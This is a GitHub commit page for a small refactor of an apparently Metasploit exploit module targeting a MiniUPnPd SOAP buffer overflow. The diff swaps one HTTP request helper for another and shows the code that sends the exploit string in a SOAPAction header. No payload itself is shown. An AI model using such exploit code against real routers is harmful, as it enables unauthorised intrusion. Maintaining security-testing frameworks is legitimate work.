Skip to content

Commit 36f275d

Browse files
committed
Changed the send_request_raw into send_request_cgi function.
1 parent 675fbb3 commit 36f275d

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/multi/upnp/miniupnpd_soap_bof.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -107,9 +107,9 @@ def exploit
107107
# Build and send the HTTP request
108108
#
109109
print_status("Sending exploit to victim #{target.name} at ...")
110-
send_request_raw({
111-
'uri' => target_uri.path,
110+
send_request_cgi({
112111
'method' => 'POST',
112+
'uri' => target_uri.path,
113113
'headers' => {
114114
'SOAPAction' => sploit,
115115
#'User-Agent' => 'Python-urllib/2.7',

0 commit comments

Comments
 (0)